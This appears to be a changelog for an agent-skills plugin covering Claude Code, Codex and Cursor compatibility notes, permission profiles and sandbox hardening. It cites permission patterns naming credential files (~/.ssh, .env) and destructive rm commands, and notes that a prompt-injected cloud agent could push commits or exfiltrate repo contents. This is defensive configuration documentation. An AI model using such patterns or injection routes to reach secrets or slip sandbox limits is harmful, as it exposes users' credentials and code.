• Scope — per the issue author's 2026-07-26 scope-down comment, this is narrowed to the frontmatter clause only; the issue's originally proposed ~18-line "Advanced: conditional filtering" body section was dropped as duplicative, since if: conditions are already documented and demonstrated in the skill body.
• Compatibility field budget — the field was already at 495/500 chars before this change, leaving no room for a new clause. Trimmed incidental wording elsewhere in the same field (dropped "desktop" from the terminalSequence clause, the mcp__brave-search__.* illustrative example from the v2.1.195 clause, and "own"/"full" from the Cursor/Codex clauses) to fit the new clause within the 500-char validate_skills.mjs limit (491/500 after).
• Verified against source — re-fetched the v2.1.176 release notes directly: confirms "Fixed hook if conditions for Read/Edit/Write tool paths: documented patterns like Edit(src/**), Read(~/.ssh/**), and Read(.env) now match correctly."
• Self-review catch — /ievo:deep-review on this diff found the new compatibility clause was the only cited version with no matching ## References entry (every other clause links one); added the entry per the existing convention.
• Version — fix: → patch per AGENTS.md's bump table; this is a docs-only frontmatter correction, not new capability. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.70.0 → 0.70.1).

---

v0.70.0

Add a platform-conditional ## Plugin state snapshot and a Codex /app CLI→Desktop alternative note to handoff/SKILL.md — closes #204, absorbs #192 (closed as a duplicate scope, consolidated into this build per the operator's 2026-07-24 comment).

• Gap closed (#204) — the handoff context capsule captured purpose, context excerpts, suggested iEvo skills, artifact pointers, and redacted secrets, but never which plugins were installed in the source session. A receiving session on a different machine or platform (e.g. Codex vs Claude Code) had no way to know its plugin environment might differ from the one the handoff assumes, until a suggested /ievo:* skill failed with "not found."
• Fix (#204) — new Step 2f (Plugin state (source session)) in handoff/SKILL.md, between the existing Step 2e (overlays) and Step 3 (redaction): detects platform via the repo's standard $CODEX_CLI env var rule (same convention as Step 2d and evo/SKILL.md Step 1 — never codex --version/claude --version, which only prove a CLI is installed, not which platform is driving the session), then runs codex plugin list --json (Codex) or claude plugin list (Claude Code). The Step 4 document template gained a matching ## Plugin state (source session) section (installed-plugins list + a verify-before-use note) with two degrade paths per the issue's own graceful-degradation design: a failed/empty listing renders ## Plugin state: unavailable with the same verify instruction inline; an undetectable platform (neither Codex nor Claude Code) omits the whole section and instead adds a one-line note to the document's existing header blockquote (reused rather than inventing a new "Before you start" section — it already carries the "review for secrets" warning, so it's the natural home for a second pre-flight caveat). allowed-tools gained two scoped entries, Bash(codex plugin list*) and Bash(claude plugin list*), matching the existing Bash(stat*)-style scoping convention in overlay-status/SKILL.md.
• Absorbed (#192, closed) — a new row in the existing ## When not to use — lighter alternatives table (rather than a standalone ## Platform-specific alternatives section, as #192 originally proposed): Codex CLI users on rust-v0.138.0+ switching to Codex Desktop in the same session get pointed at the native /app command instead of /ievo:handoff, with /ievo:handoff positioned as the cross-platform/archival/curated-brief/async alternative — matching the operator's 2026-07-24 framing on both issues. Reusing the table (which already carries an analogous Cursor /in-cloud row) is a smaller, more consistent diff than a new section, and keeps every "handoff vs. lighter native tool" decision in one place.
• Verified against source — re-fetched the rust-v0.137.0 and rust-v0.138.0 release notes directly rather than trusting the issues' citations at face value: v0.137.0 confirms "codex plugin list --json output" verbatim; v0.138.0 confirms both "The /app command can now hand off the current CLI thread into Codex Desktop on macOS and native Windows" verbatim and "plugin list JSON includes marketplace source" for the add/remove/marketplace --json support. All claims held.
• Self-review catch — /ievo:deep-review on this diff found the Step 4 template asked for Platform: <Codex vN.N.N / Claude Code vN.N.N> and per-plugin vN.N.N values that Step 2f never explained how to obtain — neither codex plugin list --json's documented available[] schema (discover.mjs, AGENTS.md line 198) nor claude plugin list's plain-text output has a verified version field, so the template as first written risked an agent fabricating version numbers. Reworded both template lines to make the version suffix conditional on the command's own output actually reporting one, and added an explicit "never fabricate" instruction to Step 2f. It also flagged that the header-blockquote note (undetectable-platform case) and the ## Plugin state: unavailable section (command-failed case) both said "unavailable" for two different situations — reworded the blockquote note to "not captured — unsupported platform" to distinguish "never attempted" from "attempted and failed" — and that Step 2f's failure enumeration didn't name malformed/unparseable JSON output as a Codex failure mode alongside empty/failed, which discover.mjs's own fetchCodexMarketplace treats as a distinct case for the identical command; folded it into the same enumeration.
• Scope — one file (plugins/ievo/skills/handoff/SKILL.md) plus the mechanical version bump. Per the operator's consolidation comment, this is "one build, one version bump, one skill file" for both issues. The three open questions #204 posed to the operator (optional vs. mandatory section, hard-stop vs. soft-warn verification, install-one-liner) are resolved by the issue's own "Proposed solution" / "Graceful degradation" text, which already specifies the always-attempt-with-two-degrade-paths shape and a soft note (not a blocking check) — no unresolved ambiguity remained.
• Version — feat: → minor per AGENTS.md's bump table; this ships new template surface, not a fix. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.69.0 → 0.70.0).

---

v0.69.0

Add an ## Active plan state section and an explicit /ievo:overlay-status pointer to handoff/SKILL.md's context-capsule template — closes #206.

• Gap closed (#206) — the DenisSergeevitch context-tier model names Tier 5 (active plan state) and Tier 6 (scoped instructions/overlays) as context that must survive a session handoff. handoff/SKILL.md's Step 4 output template had no ## Active plan state section at all, so a receiving session had to re-derive which phase/step the work was in from conversation context. The ## Active overlays section already existed (added since filing — confirmed by the operator's 2026-07-26 scope-down comment) but its closing line only said "review these overlays," giving the receiving agent no concrete next action.
• Fix — inserted a new ## Active plan state section into the Step 4 template, between ## Context and ## Key files (matching the issue's proposed placement): a 1-paragraph summary of phase/step/decided/next, derived from the session's in-progress plan or task list, falling back to a 2-3 sentence work-stage description when no explicit plan exists. Step 2b (In-progress work state) gained a matching gathering bullet, so the new section maps to a sub-step the same way ## Context ← 2b and ## References ← 2c already do. Changed ## Active overlays's closing sentence from "Review these overlays at the start of the next session to inherit project conventions." to "Run /ievo:overlay-status at the start of the next session to see what's active, then read the listed overlays to inherit project conventions." — a runnable first action that keeps the original inherit-conventions outcome. /ievo:overlay-status is read-only enumeration (name + one-line summary + mtime per overlay); it never reads overlay rules into the session, so the pointer has to name the follow-up read explicitly rather than implying the skill alone loads them.
• Scope — per the issue author's 2026-07-26 scope-down comment, this build is deliberately narrow: the two template additions above to plugins/ievo/skills/handoff/SKILL.md, plus the one Step 2b bullet that feeds the new section. The ## Active overlays section itself was NOT re-added (already present). Companion issue #204 (still approved, not yet built) proposes an unrelated ## Plugin state section in the same file; left untouched here since it's a separate, larger, not-yet-claimed change.
• Version — feat: → minor per AGENTS.md's bump table; this ships new template surface, not a fix. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.68.3 → 0.69.0).

---

v0.68.3

Document Claude Code v2.1.178's nested .claude/skills directory loading and <dir>:<name> qualified naming for monorepo iEvo installations — closes #209.

• Gap closed (#209) — README.md and AGENTS.md had no mention of the v2.1.178 nested .claude/skills auto-load behavior (qualitatively different from the basic top-level auto-load documented for #160/F-2026-05-30-002): nested-directory skills now load automatically and, on a name clash, appear as <dir>:<name>; the same release also fixed those directory-qualified skills being blocked by permission prompts in non-interactive (CI/Routine) runs. schedule/SKILL.md's compatibility field — the skill whose whole job is non-interactive Routine/CI execution — had no note on the permission-prompt fix either.
• Fix — a "Monorepo note" in README.md's "Developer install (git clone, no marketplace)" section (the section that already documents the nested-symlink install path this behavior affects); a "Nested-directory context" note in AGENTS.md's "What this repo ships" section; and an added clause on schedule/SKILL.md's compatibility field about the non-interactive permission-prompt fix.
• Verified against source — re-fetched the v2.1.178 release notes directly rather than trusting the issue's citation at face value: confirmed both the <dir>:<name> directory-loading behavior and the non-interactive permission-prompt fix are stated verbatim as claimed.
• Self-review catch — /ievo:deep-review on this diff found the README.md and AGENTS.md notes gave conflicting resolutions for what <dir> in <dir>:<name> becomes on a clash (README implied the monorepo subdirectory; AGENTS.md's own example asserted the literal string ievo, which also made its "qualified vs. plain" contrast a same-string non-example). Neither the issue nor the release notes pin down the exact resolution rule, so both notes were reworded to state only what's verified — nested auto-load, clash-triggered <dir>:<name> qualification, and the permission-prompt fix — without asserting a specific <dir> value.
• schedule/SKILL.md compatibility field — capped at 500 chars by validate_skills.mjs's agentskills.io spec check, and already at 488/500. Tightened existing clauses (dropped the parenthetical "(behavior, limits, and surface may change)", shortened "requiring a Pro/Max/Team/Enterprise subscription with Claude Code on the web enabled" to "requiring Pro/Max/Team/Enterprise + Claude Code on the web enabled", etc.) to make room without losing any existing fact, landing at 474/500.
• Scope — three files (README.md, AGENTS.md, plugins/ievo/skills/schedule/SKILL.md) plus the mechanical version bump; no script or CI change. The issue's own open questions (whether SKILL.md description fields should add <dir>:init trigger phrases, and whether a dedicated docs/installation.md is warranted) are left to the operator — out of this build's scoped acceptance criteria.
• Version — bump per AGENTS.md rules; this ships no feature, only doc notes, so it takes a patch, matching the two immediately preceding docs-only entries (v0.68.1, v0.68.2). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.68.2 → 0.68.3).

---

v0.68.2

Note Claude Code v2.1.181's /config verbose=true as a lighter, zero-install alternative in debug-on/debug-off/SKILL.md — closes #218.

• Gap closed (#218) — debug-on/SKILL.md and debug-off/SKILL.md had no mention of Claude Code v2.1.181's /config key=value syntax, even though both skills exist to toggle a session setting (verbose/trace logging) that CC can now also set inline.
• Fix — a short callout note in each file's body, right after the intro paragraph: debug-on/SKILL.md points at /config verbose=true for a quick one-off check and is explicit that it is not a substitute for the skill (no .ievo/log/debug/ write, no git-shareable flag, Claude Code only — this skill also captures sub-agent prompts/returns and works across Codex/Cursor/other agentskills.io platforms); debug-off/SKILL.md carries the matching /config verbose=false note.
• Resolved the issue's open question — the exact CC setting key. Re-verified directly against Claude Code's settings docs: the verbose key ("Enable verbose logging output for debugging... equivalent to setting CLAUDE_CODE_VERBOSE to 1") is the documented example for /config key=value itself (/config verbose=true), not thinking=false from the v2.1.181 release notes (which only demonstrates the syntax, not the debug-relevant key). No debug/outputVerbose/verboseOutput key exists.
• Resolved the issue's open question — hooks. /config has no documented support for nested/object settings — the docs describe it as changing "a single option" and give no dot-notation example — so hooks-setup/SKILL.md is left unchanged, matching the issue's own conditional scope ("optionally modified... if /config applies to hooks").
• Resolved the issue's open question — version phrasing. Used Claude Code v2.1.181+, matching the convention already used throughout hooks-setup/SKILL.md and debug-on/SKILL.md's existing "Cost monitoring (Claude Code v2.1.161+)" section, rather than ≥v2.1.181.
• Scope — two doc files (debug-on/SKILL.md, debug-off/SKILL.md) plus the mechanical version bump; no script or CI change. Docs-only, no coverage obligation.
• Version — patch, not minor. AGENTS.md's bump table maps fix: → patch and feat: → minor and does not list docs:; this PR ships no feature, only a doc note, so it follows the immediately preceding docs-only entry v0.68.1 (a two-file SKILL.md/AGENTS.md note) and takes a patch. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.68.1 → 0.68.2).

---

v0.68.1

Document Codex's MCP tool-call timeout as a scoped operator gotcha and note the matching Codex rust-v0.141.0+ floor on security-check/SKILL.md — closes #227.

• Gap closed (#227) — AGENTS.md § Security model documented CLAUDE_CODE_SUBAGENT_MODEL and other model-downgrade vectors as ways security-auditor's guarantee can silently degrade, but said nothing about Codex's MCP tool-call timeout — including the fact that it does not apply to the way iEvo actually dispatches the auditor. security-check/SKILL.md's compatibility field had no Codex version note either.
• Fix — new "Codex MCP tool-call timeout — scoped gotcha, NOT the default dispatch path" bullet in AGENTS.md § Security model, placed immediately after the existing "Codex sub-agent delegation" bullet whose spawn_agent mechanism it has to reconcile with (and grouped with the other Codex-platform gotchas), plus a scoped one-clause addition to security-check/SKILL.md's compatibility field.
• Correction to the proposal — the mechanism, not just the numbers. The issue asserts that /ievo:init's parallel security-auditor sub-agents are MCP tool calls that a short Codex MCP timeout can silently truncate. Verified against upstream source, that binding does not hold: openai/codex's DEFAULT_TOOL_TIMEOUT lives on Codex's MCP client (codex-rs/codex-mcp/src/rmcp_client.rs, previously codex-rs/core/src/mcp_connection_manager.rs), so it bounds tool calls Codex makes to MCP servers configured in ~/.codex/config.toml. iEvo ships no MCP server, no iEvo agent holds an MCP session (.mcp.json is only ever scan input), and the auditor's file reads are native tool calls inside a spawn_agent sub-agent — the path AGENTS.md § "Codex sub-agent delegation" already documents. The shipped note therefore states the limit and explicitly negates the wrong inference, scoping the version floor to the one topology where it does bite: an outer Codex driving codex mcp-server, where a whole /ievo:init / /ievo:security-check run is a single MCP tool call on the outer session's client side.
• Correction to the proposal — the version history. The issue cited a single 60 → 300 second jump in rust-v0.141.0. Re-verified against the merging PRs: 60s at introduction (openai/codex#3959, merged 2025-09-22, which also added the per-server tool_timeout_sec override), 120s from #12405 (merged 2026-02-21), then 300s from #28234 (merged 2026-06-15) — two increases, not one. #28234 ships in rust-v0.141.0 (2026-06-18), listed in that release's full changelog rather than its curated highlights; the note records that so the citation is findable.
• security-check/SKILL.md compatibility field — capped at 500 chars by validate_skills.mjs's agentskills.io spec check, and already at 456/500. The existing "Designed to run under the current Sonnet family reasoning tier" phrase was tightened to "Designed for Sonnet-tier reasoning" (28 chars saved) — the terser phrasing vuln-scan/SKILL.md already uses for the identical claim — to make room for the scoped Codex clause. The field now sits at 499/500: it has essentially no headroom left, so a future addition needs an offsetting cut, not another append.
• Scope — two files (AGENTS.md, plugins/ievo/skills/security-check/SKILL.md) plus the mechanical version bump; no script or CI change. The issue's own open questions (extending the note to init/SKILL.md, and an integration test for Codex multi-agent dispatch timing) are left to the operator — the issue's acceptance criteria and "Files affected" table scope this build to the two files above only.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.68.0 → 0.68.1).

---

v0.68.0

Document four Cursor v3.6-v3.9 platform-native surfaces across the README, AGENTS.md, and security-check/SKILL.md — a Cursor compat sweep folding in three companion proposals — closes #235, #213, #223, #229.

• Gap closed (#235) — README Quick Start documented Claude Code and Codex install paths only; a Cursor v3.9 user had no documented way to find or install iEvo.
• Fix — a one-sentence note after the Codex Quick Start block: Cursor v3.9's unified Customize page is the install surface, and iEvo is added there by repo URL, because no .cursor-plugin/ manifest exists yet means it is not surfaced in Cursor's own marketplace search. The note deliberately gives no "search for ievo" step — a search step and the no-manifest caveat contradict each other, and the search is the clause that fails. AGENTS.md's "Universal via agentskills.io" positioning note carries the same claim in the same one-clause form, naming Cursor v3.9 as the Cursor-side install surface.
• Gap closed (#213) — no Cursor-native equivalent of disallowed-tools/Codex's named permission profiles was documented for Cursor's Auto-review Run Mode.
• Correction to the proposal — the issue proposed a .cursor-plugin/-rooted, per-skill-nested manifest; that location and schema are wrong. The real file is <workspace>/.cursor/permissions.json or ~/.cursor/permissions.json, with a flat autoRun.allow_instructions/autoRun.block_instructions string-array structure and no per-skill nesting — verified against Cursor's own permissions reference. The shipped note documents the corrected path/schema in one sentence rather than proposing a new manifest file against an undocumented schema.
• Gap closed (#223, #229) — security-check/SKILL.md had zero Cursor-specific content: no mention of /in-cloud VM-level isolation (v3.7) for reviewing adversarial candidates, and no caveat that Cursor v3.8 enables the computer use tool by default in cloud agent sessions.
• Fix — new "Cursor setup" section (mirroring the existing "Codex setup" section's placement, after "Sandbox hardening"), three short paragraphs: Auto-review permissions (#213, above); /in-cloud for HIGH-RISK candidates (#223); and the computer-use caveat (#229). Both of the latter two are scoped more narrowly than their proposals were. /in-cloud is isolation from the operator's local machine, not containment — the cloud VM still holds the read-write repo grant Cursor's git app needs and has internet access by default (cloud agent security & network, verified 2026-07-26), so an injected session can still push commits and exfiltrate repo contents; the note says so and points at the egress controls. Computer use is enabled by default only for automation-triggered cloud agents, not /in-cloud sessions generally, a nuance the original proposal didn't distinguish.
• Scope — three companion proposals (#213, #223, #229, all backlog-verified) folded into this build per operator scope-down comments on all four issues; one version bump for all four per "one build" framing. Each note kept to 1-3 sentences with a dated Cursor changelog permalink, no feature tutorials — a deliberate scope-down from the more elaborate subsection/wizard changes originally proposed in #235 and the ~30-line addition originally proposed in #223.
• Sources — each claim cites a dated Cursor changelog permalink, independently re-fetched during this build:
  • Customize page — cursor.com/changelog/customize (Cursor 3.9, Jun 22 2026): unified interface for plugins/skills/MCPs/subagents/rules/commands/hooks at user/team/workspace level; team marketplace imports from GitLab/BitBucket/Azure DevOps.
  • Auto-review Run Mode — cursor.com/changelog/auto-review (Cursor 3.6, May 29 2026): the feature that consults .cursor/permissions.json.
  • /in-cloud — cursor.com/changelog/cloud-in-agents-window (Cursor 3.7, Jun 17 2026): cloud subagent in its own VM and branch.
  • Computer use default — cursor.com/changelog/06-18-26 (Cursor 3.8, Jun 18 2026): "The computer use tool is enabled by default for every automation."
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.66.0 → 0.68.0 — 0.67.0 already claimed by a concurrent open PR at push time).

---

v0.66.0

Add an explicit MVP boundary (out-of-scope list) to deep-review/SKILL.md and agents/deep-reviewer.md — closes #243.

• Feature — new "Scope boundary (MVP boundary)" section in deep-review/SKILL.md, placed between the results-presentation step and the existing ## Rules section: draft findings, cite evidence, explain impact — but never recommend merge/release/deployment timing, propose architecture refactors beyond the diff, suggest sprint/backlog priority, or return an unqualified approval with no findings. agents/deep-reviewer.md's ## Rules section gets four matching bullets so the dispatched sub-agent — the one that actually produces the findings — carries the boundary, not just the orchestrating skill.
• Each boundary sits on the layer that can honour it — the fourth agent rule ("no lint or type-checker diagnostics", placed next to the existing "No style nits" it extends) lives only in deep-reviewer.md, because findings originate there: deep-review/SKILL.md Step 5 and its Present findings verbatim rule forbid the skill from filtering the reviewer's output, so a "never return lint findings" bullet on that pass-through layer would have been unenforceable — and, since Point 8 can legitimately surface type-shaped findings, silently unmirrored on the layer that emits them. The skill keeps a one-line pointer to where the rule lives, and Step 4's inline-fallback instruction now says explicitly that the inline path runs the reviewer's steps under its ## Rules — on that path the skill is the finding producer, so without that the moved rule would bind nowhere. The rule also states its own limit: it excludes a bare diagnostic, never a checklist point that overlaps a linter (Point 3's now-unused imports, Point 8's callers left unadapted).
• Commit readiness stays in scope — the merge/deploy bullets in both files carve it in explicitly, in the skill and in the agent. deep-reviewer.md's Step 3 Summary asks "is this diff ready to commit?" and deep-review/SKILL.md Step 5 emits "Your diff looks ready to commit" plus severity-based next-step lines ("commit at your discretion", "safe to commit as-is") — a pre-commit review's whole remit. Without the carve-in, the new boundary read as banning the output the skill exists to produce; the boundary begins at what happens after the commit (merge, release, rollout).
• Why — inspired by the "MVP boundary" pattern (draft + verify + explain, not merge + deploy + own production) in DenisSergeevitch/agents-best-practices/references/coding-agents.md (2026-06-07). The 11-point checklist had no explicit "never return" list, so a helpful-but-overzealous review could plausibly drift into merge/deploy/priority calls that are a human or CI decision, not this review's.
• "Structured verdict" already enforced — the issue's open question about whether "no unqualified LGTM" needed new phrasing is resolved by reading the existing skill: deep-review/SKILL.md Step 5 already always emits a structured "clean" report (not a bare LGTM) on zero findings, and deep-reviewer.md's output format always includes the full 11-point checklist coverage summary regardless of finding count. The new bullet states that guarantee explicitly as a boundary rather than changing the mechanism.
• deep-reviewer.md scope, not the intro paragraph — the issue's files-affected table suggested extending the agent's "Your job is NOT..." intro sentence into a bullet list; the new bullets instead extend the existing ## Rules bullet list (which already carries "No style nits" / "No feature suggestions" in the same voice), keeping the intro paragraph's prose flow intact and avoiding an unscoped rewrite.
• Scope — two doc files (deep-review/SKILL.md, agents/deep-reviewer.md), no script or CI change. Docs-only, no coverage obligation. deep-review/SKILL.md stays well under the 500-line acceptance ceiling (231 lines after the addition).
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.65.0 → 0.66.0).

---

v0.65.0

Add a Cost monitoring section to debug-on/SKILL.md documenting Claude Code's OTEL_RESOURCE_ATTRIBUTES metric labeling — closes #171.

• Feature — new "Cost monitoring (Claude Code v2.1.161+)" section in debug-on/SKILL.md, giving a per-iEvo-operation OTEL_RESOURCE_ATTRIBUTES recipe (ievo_skill=<skill>,project=<project>) so a team running iEvo across many repos can slice usage-cost dashboards by skill or project, separating iEvo token spend from ordinary coding usage. Cites the v2.1.161 release notes (2026-06-02) for the labeling behavior and Claude Code's monitoring docs for the full OTel prerequisite set (CLAUDE_CODE_ENABLE_TELEMETRY, OTEL_METRICS_EXPORTER, OTEL_EXPORTER_OTLP_PROTOCOL, OTEL_EXPORTER_OTLP_ENDPOINT, OTEL_EXPORTER_OTLP_HEADERS) and the OTEL_METRICS_INCLUDE_RESOURCE_ATTRIBUTES off-switch (default true).
• Correction to the proposal — the issue's draft invented metrics.endpoint/metrics.headers settings.json keys and an .claude/settings.json "org-wide enforcement" claim; neither exists. The shipped section instead documents the real OTel env vars and points org-wide enforcement at Claude Code's managed-settings file (/etc/claude-code/managed-settings.json Linux/WSL, /Library/Application Support/ClaudeCode/managed-settings.json macOS, C:\Program Files\ClaudeCode\managed-settings.json Windows), the only mechanism that can't be overridden by a user's own env vars.
• Binding-time note — OTEL_RESOURCE_ATTRIBUTES is resolved once at Claude Code process start and holds for that process's whole lifetime, so no iEvo skill can set it automatically on activation and per-operation granularity means one process per attribute set (a fresh session or a one-shot claude -p run), not a set/clear-mid-session recipe.
• Reachability — debug-on/SKILL.md's description: frontmatter extended with cost-monitoring/OTel trigger words so the new section is reachable by description-match activation, not just by users already in a debug-logging context. Because that also makes the skill auto-activate on a purely documentational question, a new routing Step 0 splits the two intents: a cost-monitoring-only request is answered from the new section and stops there — Steps 1-5 are skipped, so no .ievo/ check gates the answer and no .ievo/debug.flag or confidential trace log is created unrequested. ## When to use records the docs-only path alongside the debug-logging ones.
• Scope — one doc file (debug-on/SKILL.md), no script or CI change. Docs-only, no coverage obligation.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.64.0 → 0.65.0).

---

v0.64.0

Document Codex named permission profiles as the Codex-side analog of disallowed-tools in security-check/SKILL.md — closes #170.

• Feature — new "Codex setup — named permission profiles (Codex's analog of disallowed-tools)" section in security-check/SKILL.md, placed immediately after the existing ## Sandbox hardening section it extends. Documents the gap (disallowed-tools has no Codex-side enforcement at all — and carries the same caveat that section already states for Claude Code: only bare tool names are reliably enforced in skill frontmatter, so the Bash(rm*)-style destructive-prefix denials stay unverified per AGENTS.md § Security model), cites Codex CLI rust-v0.135.0 (2026-05-28) as the version that shipped named permission profiles via /permissions, and gives a working, copy-pasteable ~/.codex/config.toml profile: a custom ievo-security-scan profile that extends = ":workspace" (so Step 2's mktemp -d clone and the RED-only .ievo/hooks/security-red write still succeed) and enables network access narrowed to the five hosts an audit actually reaches.
• Correction to the proposal — three claims in the issue's framing were checked against Codex's own docs and did not survive. (1) The proposed /permissions use <profile-name> activation syntax doesn't exist; a profile is selected by the top-level default_permissions key, or mid-session from the /permissions picker. (2) codex --profile <name> is a different mechanism — since Codex 0.134.0 it overlays ~/.codex/<name>.config.toml as a config layer and no longer reads any [profiles.<name>] table — so it does not select a [permissions.<name>] profile except indirectly, via a default_permissions key in that overlay file. (3) Codex's permission model is filesystem read/write/deny + network domain rules, not a per-tool-name allowlist like Claude Code's, so the section frames the recommendation in Codex's own terms rather than literally mapping "Read, Grep, Glob, WebFetch" onto it.
• Not parity, and not :read-only — the built-in :read-only profile is strictly broader than disallowed-tools, not equivalent to it: disallowed-tools denies the agent's own Write/Edit tools while leaving Bash git usable, whereas :read-only blocks filesystem writes outright and leaves network disabled (network.enabled defaults to false on every profile). Applied to this skill it breaks the mandatory Step 2 mktemp -d + git clone --depth 1 fetch flow and the RED-path hook write, so the section recommends a :workspace-derived custom profile instead and says why. Its network allowlist adds github.com to the four domains this skill's Claude Code WebFetch(domain:...) guidance lists — that block scopes only the WebFetch tool, which never clones, while a Codex network policy governs git and gh too, so a straight copy of those four would fail the clone. Picker labels ("Read Only") and config identifiers (:read-only) are noted as two spellings of the same built-in, per openai/codex#21559.
• Cross-reference cleanup — both security-check/SKILL.md and vuln-scan/SKILL.md carried a forward-reference to this issue in their "Sandbox hardening" section (Codex has no documented equivalent as of this writing — use its own sandbox/permission-profile controls (ievo-ai/skills#170) instead), added in v0.62.x anticipating this exact gap. Both now point at the new section instead of the closed issue, and are corrected to scope the claim accurately: Codex's permission profiles confine a session by filesystem path and network domain, which is neither disallowed-tools' per-tool denial nor a sandbox.credentials-style per-file/env-var credential mask. vuln-scan/SKILL.md doesn't get its own copy of the section — it reviews local source and needs neither a clone nor network access, so the built-in :read-only profile alone is sufficient for its --diff/--module/--full scopes, and its cross-reference says so. Both files also carry the one caveat that survives that claim: /ievo:vuln-scan --pr <N> resolves its file list with gh pr diff (commands/vuln-scan.md), so under :read-only — network off by default on every profile — that scope mode can't determine what to scan; it needs api.github.com allowed via a custom profile, or the branch checked out locally and scanned with --diff. AGENTS.md's own security-model bullet (§ sandbox.credentials + WebFetch domain scoping) carried the same stale ievo-ai/skills#170 pointer and is updated the same way.
• Scope — three doc files (security-check/SKILL.md, vuln-scan/SKILL.md, AGENTS.md), no script or CI change. Docs-only, no coverage obligation.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.63.0 → 0.64.0).

---

v0.63.0

Add a platform-mismatch self-check to /ievo:init and /ievo:evo-auto-enable that offers to report a caught bug via the existing evo → feedback pipe — closes #433.

• Feature — /ievo:init Step 12.5 and /ievo:evo-auto-enable Step 5.5: after either skill prints its platform-conditional final message (Claude Code vs. Codex, gated on $CODEX_CLI), it re-checks that message against the detected platform for exactly the failure class #432 shipped (a Claude-Code-only phrase surfacing on Codex, or vice versa). The check is silent on the overwhelmingly common no-mismatch case.
• Routing — on a caught mismatch, the skill hands off directly to /ievo:evo with scope/target passed as given (init or evo-auto-enable, skill scope), so the local overlay entry is captured without asking first. A new overlay-only carve-out in evo/SKILL.md Step 1 governs that path: it takes scope/target from the caller instead of resolving them (normal resolution would find no match on Codex, where Step 1 scans only .agents/skills/* and a plugin-shipped skill never appears, and would then have to ask), and it skips Steps 1.5/2/2.5 unconditionally — so a self-check never vendors init/evo-auto-enable into .claude/skills/|.agents/skills/, where the copy would shadow the running plugin skill with a frozen snapshot and drag in Step 2.5's security-re-audit confirmation. Step 3 (marker injection) is conditional on the same test Step 2 makes: skipped in the normal case (the target runs from the plugin, so there is no local file to inject into), run only against a copy the user had already vendored themselves — stated identically in all three files so the injection is never a surprise write mid-run. Stated trade-off for that normal case: with no local copy there is no marker reading .ievo/evolution/skills/<name>.md, so the entry is a dated record rather than a rule applied on later runs; the actionable path for a plugin-side bug is the upstream escalation. Because that carve-out binds only where it is written, /ievo:evo also stops delegating this one path to the evolution sub-agent (agents/evolution.md), which /ievo:evo otherwise hands every capture to first: the agent has no equivalent carve-out, so it would have resolved the target normally, vendored the skill tree it was meant not to touch, and — having no AskUserQuestion — dropped the capture outright on a flagged re-audit. The agent file gets a stop-and-report guard for that Trigger rather than a second copy of the rule, which would be free to drift from it.
• Confirmations — at most two, both /ievo:evo's own and each independently conditional: Step 5.6's upstream-feedback offer (this lesson does classify as upstream-relevant — it names an iEvo skill and describes a bug in its own behavior), reusing the existing evo → feedback flow C confirmation rather than adding a bespoke one, and Step 5.7's extraction offer if that overlay already holds a cluster (never on a first capture). Picking share at Step 5.6 hands off to /ievo:feedback, whose public-posting gate is unchanged. init/SKILL.md's "ONLY user-facing pauses" ledger records the step on those terms.
• Scope, deliberately narrow — this is a third capture trigger for the platform-detection-mismatch failure class specifically (the one issue #432 demonstrated), not a blanket self-check added to all 19 bundled skills; per the no-premature-abstraction convention, generalizing further waits on a second, independent trigger case.
• Trigger taxonomy — evo/SKILL.md Step 5's agent self-correction value (previously a (future) placeholder) is now live: agent self-correction: platform-detection mismatch, set by both new self-check steps.
• Scope, files touched — four substantive files: init/SKILL.md and evo-auto-enable/SKILL.md (the two self-check steps), evo/SKILL.md (the Step 1 overlay-only carve-out, the no-delegation exception on that path, the live Trigger value, and the "See also" entry), and agents/evolution.md (the matching stop-and-report guard). No new dependencies and no script changes — every addition is instruction prose, and the capture itself reuses /ievo:evo's existing Step 4/5.5/5.6/5.7 mechanics unchanged.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.62.4 → 0.63.0).

---

v0.62.4

Commit tracked dispatcher shims for evo-auto-enable's three hook scripts so a clean clone of .claude/settings.json/.codex/hooks.json never exits 127 — closes #446.

